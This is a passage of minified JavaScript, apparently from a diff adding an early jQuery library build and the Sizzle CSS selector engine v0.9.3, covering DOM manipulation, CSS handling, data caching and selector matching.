this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F<J;F++){var G=M[F];if(G.selected){K=o(G).val();if(H){return K}L.push(K)}}return L}return(E.value||"").replace(/\r/g,"")}return g}if(typeof K==="number"){K+=""}return this.each(function(){if(this.nodeType!=1){return}if(o.isArray(K)&&/radio|checkbox/.test(this.type)){this.checked=(o.inArray(this.value,K)>=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G<E;G++){L.call(K(this[G],H),this.length>1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H<I;H++){if((G=arguments[H])!=null){for(var F in G){var K=J[F],L=G[F];if(J===L){continue}if(E&&L&&typeof L==="object"&&!L.nodeType){J[F]=o.extend(E,K||(L.length!=null?[]:{}),L)}else{if(L!==g){J[F]=L}}}}}return J};var b=/z-?index|font-?weight|opacity|zoom|line-?height/i,q=document.defaultView||{},s=Object.prototype.toString;o.extend({noConflict:function(E){l.$=p;if(E){l.jQuery=y}return o},isFunction:function(E){return s.call(E)==="[object Function]"},isArray:function(E){return s.call(E)==="[object Array]"},isXMLDoc:function(E){return E.nodeType===9&&E.documentElement.nodeName!=="HTML"||!!E.ownerDocument&&o.isXMLDoc(E.ownerDocument)},globalEval:function(G){if(G&&/\S/.test(G)){var F=document.getElementsByTagName("head")[0]||document.documentElement,E=document.createElement("script");E.type="text/javascript";if(o.support.scriptEval){E.appendChild(document.createTextNode(G))}else{E.text=G}F.insertBefore(E,F.firstChild);F.removeChild(E)}},nodeName:function(F,E){return F.nodeName&&F.nodeName.toUpperCase()==E.toUpperCase()},each:function(G,K,F){var E,H=0,I=G.length;if(F){if(I===g){for(E in G){if(K.apply(G[E],F)===false){break}}}else{for(;H<I;){if(K.apply(G[H++],F)===false){break}}}}else{if(I===g){for(E in G){if(K.call(G[E],E,G[E])===false){break}}}else{for(var J=G[0];H<I&&K.call(J,H,J)!==false;J=G[++H]){}}}return G},prop:function(H,I,G,F,E){if(o.isFunction(I)){I=I.call(H,F)}return typeof I==="number"&&G=="curCSS"&&!b.test(E)?I+"px":I},className:{add:function(E,F){o.each((F||"").split(/\s+/),function(G,H){if(E.nodeType==1&&!o.className.has(E.className,H)){E.className+=(E.className?" ":"")+H}})},remove:function(E,F){if(E.nodeType==1){E.className=F!==g?o.grep(E.className.split(/\s+/),function(G){return !o.className.has(F,G)}).join(" "):""}},has:function(F,E){return F&&o.inArray(E,(F.className||F).toString().split(/\s+/))>-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+"></"+T+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("<opt")&&[1,"<select multiple='multiple'>","</select>"]||!O.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!O.indexOf("<tr")&&[2,"<table><tbody>","</tbody></table>"]||(!O.indexOf("<td")||!O.indexOf("<th"))&&[3,"<table><tbody><tr>","</tr></tbody></table>"]||!O.indexOf("<col")&&[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"]||!o.support.htmlSerialize&&[1,"div<div>","</div>"]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/<tbody/i.test(S),N=!O.indexOf("<table")&&!R?L.firstChild&&L.firstChild.childNodes:Q[1]=="<table>"&&!R?L.childNodes:[];for(var M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E<F;E++){if(H[E]===G){return E}}return -1},merge:function(H,E){var F=0,G,I=H.length;if(!o.support.getAll){while((G=E[F++])!=null){if(G.nodeType!=8){H[I++]=G}}}else{while((G=E[F++])!=null){H[I++]=G}}return H},unique:function(K){var F=[],E={};try{for(var G=0,H=K.length;G<H;G++){var J=o.data(K[G]);if(!E[J]){E[J]=true;F.push(K[G])}}}catch(I){F=K}return F},grep:function(F,J,E){var G=[];for(var H=0,I=F.length;H<I;H++){if(!E!=!J(F[H],H)){G.push(F[H])}}return G},map:function(E,J){var F=[];for(var G=0,H=E.length;G<H;G++){var I=J(E[G],G);if(I!=null){F[F.length]=I}}return F.concat.apply([],F)}});var C=navigator.userAgent.toLowerCase();o.browser={version:(C.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[0,"0"])[1],safari:/webkit/.test(C),opera:/opera/.test(C),msie:/msie/.test(C)&&!/opera/.test(C),mozilla:/mozilla/.test(C)&&!/(compatible|webkit)/.test(C)};o.each({parent:function(E){return E.parentNode},parents:function(E){return o.dir(E,"parentNode")},next:function(E){return o.nth(E,2,"nextSibling")},prev:function(E){return o.nth(E,2,"previousSibling")},nextAll:function(E){return o.dir(E,"nextSibling")},prevAll:function(E){return o.dir(E,"previousSibling")},siblings:function(E){return o.sibling(E.parentNode.firstChild,E)},children:function(E){return o.sibling(E.firstChild)},contents:function(E){return o.nodeName(E,"iframe")?E.contentDocument||E.contentWindow.document:o.makeArray(E.childNodes)}},function(E,F){o.fn[E]=function(G){var H=o.map(this,F);if(G&&typeof G=="string"){H=o.multiFilter(G,H)}return this.pushStack(o.unique(H),E,G)}});o.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(E,F){o.fn[E]=function(G){var J=[],L=o(G);for(var K=0,H=L.length;K<H;K++){var I=(K>0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}});
+/*
+ * Sizzle CSS Selector Engine - v0.9.3
+ *  Copyright 2009, The Dojo Foundation
+ *  Released under the MIT, BSD, and GPL Licenses.
+ *  More information: http://sizzlejs.com/
+ */
+(function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa<ab.length;aa++){if(ab[aa]===ab[aa-1]){ab.splice(aa--,1)}}}}}return ab};F.matches=function(T,U){return F(T,null,null,U)};F.find=function(aa,T,ab){var Z,X;if(!aa){return[]}for(var W=0,V=I.order.length;W<V;W++){var Y=I.order[W],X;if((X=I.match[Y].exec(aa))){var U=RegExp.leftContext;if(U.substr(U.length-1)!=="\\"){X[1]=(X[1]||"").replace(/\\/g,"");Z=I.find[Y](X,T,ab);if(Z!=null){aa=aa.replace(I.match[Y],"");break}}}}if(!Z){Z=T.getElementsByTagName("*")}return{set:Z,expr:aa}};F.filter=function(ad,ac,ag,W){var V=ad,ai=[],aa=ac,Y,T,Z=ac&&ac[0]&&Q(ac[0]);while(ad&&ac.length){for(var ab in I.filter){if((Y=I.match[ab].exec(ad))!=null){var U=I.filter[ab],ah,af;T=false;if(aa==ai){ai=[]}if(I.preFilter[ab]){Y=I.preFilter[ab](Y,aa,ag,ai,W,Z);if(!Y){T=ah=true}else{if(Y===true){continue}}}if(Y){for(var X=0;(af=aa[X])!=null;X++){if(af){ah=U(af,Y,X,aa);var ae=W^!!ah;if(ag&&ah!=null){if(ae){T=true}else{aa[X]=false}}else{if(ae){ai.push(af);T=true}}}}}if(ah!==g){if(!ag){aa=ai}ad=ad.replace(I.match[ab],"");if(!T){return[]}break}}}if(ad==V){if(T==null){throw"Syntax error, unrecognized expression: "+ad}else{break}}V=ad}return aa};var I=F.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(T){return T.getAttribute("href")}},relative:{"+":function(aa,T,Z){var X=typeof T==="string",ab=X&&!/\W/.test(T),Y=X&&!ab;if(ab&&!Z){T=T.toUpperCase()}for(var W=0,V=aa.length,U;W<V;W++){if((U=aa[W])){while((U=U.previousSibling)&&U.nodeType!==1){}aa[W]=Y||U&&U.nodeName===T?U||false:U===T}}if(Y){F.filter(T,aa,true)}},">":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){var W=Y.parentNode;Z[V]=W.nodeName===U?W:false}}}else{for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){Z[V]=X?Y.parentNode:Y.parentNode===U}}if(X){F.filter(U,Z,true)}}},"":function(W,U,Y){var V=L++,T=S;if(!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("parentNode",U,V,W,X,Y)},"~":function(W,U,Y){var V=L++,T=S;if(typeof U==="string"&&!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("previousSibling",U,V,W,X,Y)}},find:{ID:function(U,V,W){if(typeof V.getElementById!=="undefined"&&!W){var T=V.getElementById(U[1]);return T?[T]:[]}},NAME:function(V,Y,Z){if(typeof Y.getElementsByName!=="undefined"){var U=[],X=Y.getElementsByName(V[1]);for(var W=0,T=X.length;W<T;W++){if(X[W].getAttribute("name")===V[1]){U.push(X[W])}}return U.length===0?null:U}},TAG:function(T,U){return U.getElementsByTagName(T[1])}},preFilter:{CLASS:function(W,U,V,T,Z,aa){W=" "+W[1].replace(/\\/g,"")+" ";if(aa){return W}for(var X=0,Y;(Y=U[X])!=null;X++){if(Y){if(Z^(Y.className&&(" "+Y.className+" ").indexOf(W)>=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return U<T[3]-0},gt:function(V,U,T){return U>T[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W<T;W++){if(Y[W]===Z){return false}}return true}}}},CHILD:function(T,W){var Z=W[1],U=T;switch(Z){case"only":case"first":while(U=U.previousSibling){if(U.nodeType===1){return false}}if(Z=="first"){return true}U=T;case"last":while(U=U.nextSibling){if(U.nodeType===1){return false}}return true;case"nth":var V=W[2],ac=W[3];if(V==1&&ac==0){return true}var Y=W[0],ab=T.parentNode;if(ab&&(ab.sizcache!==Y||!T.nodeIndex)){var X=0;for(U=ab.firstChild;U;U=U.nextSibling){if(U.nodeType===1){U.nodeIndex=++X}}ab.sizcache=Y}var aa=T.nodeIndex-ac;if(V==0){return aa==0}else{return(aa%V==0&&aa/V>=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V<T;V++){U.push(X[V])}}else{for(var V=0;X[V];V++){U.push(X[V])}}}return U}}var G;if(document.documentElement.compareDocumentPosition){G=function(U,T){var V=U.compareDocumentPosition(T)&4?-1:U===T?0:1;if(V===0){hasDuplicate=true}return V}}else{if("sourceIndex" in document.documentElement){G=function(U,T){var V=U.sourceIndex-T.sourceIndex;if(V===0){hasDuplicate=true}return V}}else{if(document.createRange){G=function(W,U){var V=W.ownerDocument.createRange(),T=U.ownerDocument.createRange();V.selectNode(W);V.collapse(true);T.selectNode(U);T.collapse(true);var X=V.compareBoundaryPoints(Range.START_TO_END,T);if(X===0){hasDuplicate=true}return X}}}}(function(){var U=document.createElement("form"),V="script"+(new Date).getTime();U.innerHTML="<input name='"+V+"'/>";var T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="<a href='#'></a>";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="<p class='TEST'></p>";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="<div class='test e'></div><div class='test'></div>";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1&&!ac){T.sizcache=Y;T.sizset=W}if(T.nodeName===Z){X=T;break}T=T[U]}ad[W]=X}}}function S(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1){if(!ac){T.sizcache=Y;T.sizset=W}if(typeof Z!=="string"){if(T===Z){X=true;break}}else{if(F.filter(Z,[T]).length>0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z<U;Z++){F(T,V[Z],W)}return F.filter(X,W)};o.find=F;o.filter=F.filter;o.expr=F.selectors;o.expr[":"]=o.expr.filters;F.selectors.filters.hidden=function(T){return T.offsetWidth===0||T.offsetHeight===0};F.selectors.filters.visible=function(T){return 